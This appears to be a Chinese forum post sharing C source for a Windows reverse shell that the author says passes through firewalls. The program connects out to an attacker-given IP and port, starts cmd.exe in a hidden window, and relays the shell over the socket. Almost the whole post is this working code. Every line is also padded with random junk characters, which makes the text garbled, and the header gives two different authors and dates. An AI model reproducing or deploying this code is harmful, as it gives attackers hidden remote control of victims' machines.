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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3LKB;  
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/* ============================== Y8)}P WMs  
Rebound port in Windows NT RS'} nY}  
By wind,2006/7 q.-y)C) ;  
===============================*/ 3>i>@n_  
#include Ej' 7h~=v  
#include UQ5BH%EPb  
#:$O=@@?M  
#pragma comment(lib,"wsock32.lib") A^pu  
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void OutputShell(); >[a FOA  
SOCKET sClient; $Z/klSEf  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {] O`g G  
Hz E1r+3Q@  
void main(int argc,char **argv) ]$3+[9x'  
{ "ml?7Xl,n  
WSADATA stWsaData; xS"$g9o0  
int nRet; !(Q l)C  
SOCKADDR_IN stSaiClient,stSaiServer; u,f A!  
]pWP?Ws  
if(argc != 3) +O'vj  
{ _().t5<  
printf("Useage:\n\rRebound DestIP DestPort\n"); BjiYv}J  
return; i|%5  
} Y&s2C%jT  
kBbl+1{H  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^;zWWg/d  
$_)=8"Sn  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ivsb<qzG  
eaQ90B4  
stSaiClient.sin_family = AF_INET; uArR\k(  
stSaiClient.sin_port = htons(0); ^/*KNnAWp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1~'_K9eE  
]M3# 3Ha"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0N{+y}/G  
{ i&A%"lOI9  
printf("Bind Socket Failed!\n"); Ib1e#M3  
return; O6iCZ  
} ~s#e,Kav"  
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stSaiServer.sin_family = AF_INET; _R7 w?!t8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t}Ss=0dJO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :mpiAs<%U"  
=OYQM<q  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W/r^ugDV  
{ t[EfOQ  
printf("Connect Error!"); &!jq!u$(  
return; # .<V^  
} 6^;^rUlm  
OutputShell(); Zn&k[?;Al  
} 2J<&rKCF  
hmZvIy(  
void OutputShell() yG&2UqX  
{ iITp**l  
char szBuff[1024]; C0fmmI0z~  
SECURITY_ATTRIBUTES stSecurityAttributes; YsP/p-  
OSVERSIONINFO stOsversionInfo; !8*McO I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'L{p,  
STARTUPINFO stStartupInfo; ~F w<eY  
char *szShell; ]TSg!H  
PROCESS_INFORMATION stProcessInformation; $b>}C= gt  
unsigned long lBytesRead; HM&1y ubh#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xQu eE{  
/APcL5:=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aI(>]sWJ  
stSecurityAttributes.lpSecurityDescriptor = 0; ,+._;[k  
stSecurityAttributes.bInheritHandle = TRUE; z856 nl  
>|3a 9S  
rGlRAn#?,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5j{Np,K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \dq!q=b\  
ug *D52?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "+|L_iuNQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3]U]?h  
stStartupInfo.wShowWindow = SW_HIDE; q* !3C  
stStartupInfo.hStdInput = hReadPipe; K>1X}ZMdD(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5| w&dM  
G#[* |+f8  
GetVersionEx(&stOsversionInfo); n#*`!#  
8$vK5Dnn8  
switch(stOsversionInfo.dwPlatformId) `qiQ$kz  
{ E=u/tpj  
case 1: &Y7C0v  
szShell = "command.com"; KWhZ +i`  
break; - 8bNQU  
default: }rbZ&IN\?E  
szShell = "cmd.exe"; 6;oe=Q:Q  
break; ;GsQR+en  
} A+ 0,i  
E'c%d[:H,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c8A`<-\MfB  
[B^G-  
send(sClient,szMsg,77,0); 44sy`e  
while(1) )%Ru#}1X6  
{ a<m-V&4x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s_eOcm  
if(lBytesRead) /\=MBUN  
{ |}[nH>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4nkE IZ  
send(sClient,szBuff,lBytesRead,0); v27Ja .tA  
} 7@~tVxB;  
else R1ktj  
{ .Q&rfH3  
lBytesRead=recv(sClient,szBuff,1024,0); f9TV%fG?  
if(lBytesRead<=0) break; (j&A",^^S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (/h5zCc/v  
} 'v&}(  
} O~@fXMthh  
8Fq_i-u  
return; >UHa  
}
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